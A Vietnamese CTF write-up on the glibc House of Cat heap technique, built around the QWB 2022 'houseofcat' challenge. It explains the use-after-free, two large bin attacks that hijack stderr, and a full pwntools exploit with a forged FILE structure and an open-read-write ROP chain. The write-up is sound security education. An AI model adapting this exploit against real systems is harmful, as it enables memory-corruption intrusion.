Bài viết này là phần cuối cùng trong loạt bài về kỹ thuật House of Cat. Tiếp theo, tôi dự định chuyển sang nghiên cứu Apple1. Theo quan điểm cá nhân, thứ tự học nên là: Orange → Apple2 → Cat → Emma → Apple1. Tuy nhiên, thực tế cho thấy khi đã nắm vững Cat, bạn có thể giải quyết hầu hết các bài toán.
Bài toán mẫu: QWB 2022 - House of Cat
Chúng ta phân tích bài toán kinh điển đến từ giải QWB 2022.
Luồng chương trình
Chương trình là một bài heap dạng menu. Tuy nhiên, trước khi sử dụng các chức năng chính, cần nhập dữ liệu để vượt qua kiểm tra. Cơ chế kiểm tra khá phức tạp, sau một thời gian phân tích kết hợp với các exploit có sẵn, kết luận như sau:
- Đầu tiên, gửi
LOGIN | r00t QWB QWXFadminđể đăng nhập - Trước mỗi lần gọi các chức năng CRUD, cần gửi
CAT | r00t QWB QWXF$\xff
Có bốn chức năng: add, edit, show, delete. Lỗ hổng cụ thể:
- edit: chỉ dùng được 2 lần, mỗi lần ghi tối đa 0x30 byte
- delete: không xóa con trỏ sau khi giải phóng → Use-After-Free
- add: cho phép cấp phát tối đa 16 chunk, kích thước 0x418~0x46f, ghi size byte dữ liệu
- show: chỉ leak được 0x30 byte
Chiến lược khai thác
- Leak địa chỉ libc và heap từ large bin
- Dùng edit cho large bin attack lần 1: ghi địa chỉ heap vào biến
stderrtrong libc, kiểm soát cấu trúc_IO_2_1_stderr_ - Large bin attack lần 2: thay đổi size của top chunk thành giá trị không hợp lệ (nhỏ hơn). Chỉ khi top chunk không đáp ứng được yêu cầu cấp phát,
sysmallocmới được gọi. Cần địa chỉ lệch để giảm size top chunk - Cấp phát chunk → kích hoạt
__malloc_assert
Leak địa chỉ libc và heap từ large bin
# Leak libc và heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))
Large bin attack lần 1: ghi địa chỉ heap vào stderr
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')
Large bin attack lần 2: thay đổi size của top chunk
add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))
Kích hoạt tấn công
add(10,0x450,'flag\x00')
Exploit hoàn chỉnh
from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p= getProcess("ctf.qwq.cc","10016","./houseofcat")
elf = ELF("./houseofcat")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size).encode())
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
# Leak libc và heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))
stderr_addr=libc_base+0x7f04ef532860-0x7f04ef318000
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall = libc_base + 0x11ea3b
# ROP chain
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
# open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
# read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
# write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)
io_wfile_jumps = libc_base + 0x2160c0
fake_IO_stderr=IO_FILE_plus_struct()
fake_IO_stderr._lock=heap_base+0x559fa1786290-0x55a33d39c000
fake_IO_stderr._wide_data=heap_base+0x55cbc30c73d0-0x55cbc30c6000
fake_IO_stderr.vtable=io_wfile_jumps+0x10
fake_IO_stderr=fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0, #_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:libc_base + 0x21ba60, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:heap_base+0x55cbc30c73d0-0x55cbc30c6000, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:io_wfile_jumps+0x10, #vtable
})
fake_IO_wide_data=flat({
0x0:bytes(rop),
0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
0xf8:libc_base+0x000000000005a170 #0x000000000005a170: mov rsp, rdx ; ret
})
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')
add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))
pause()
add(10,0x450,'flag\x00')
ita()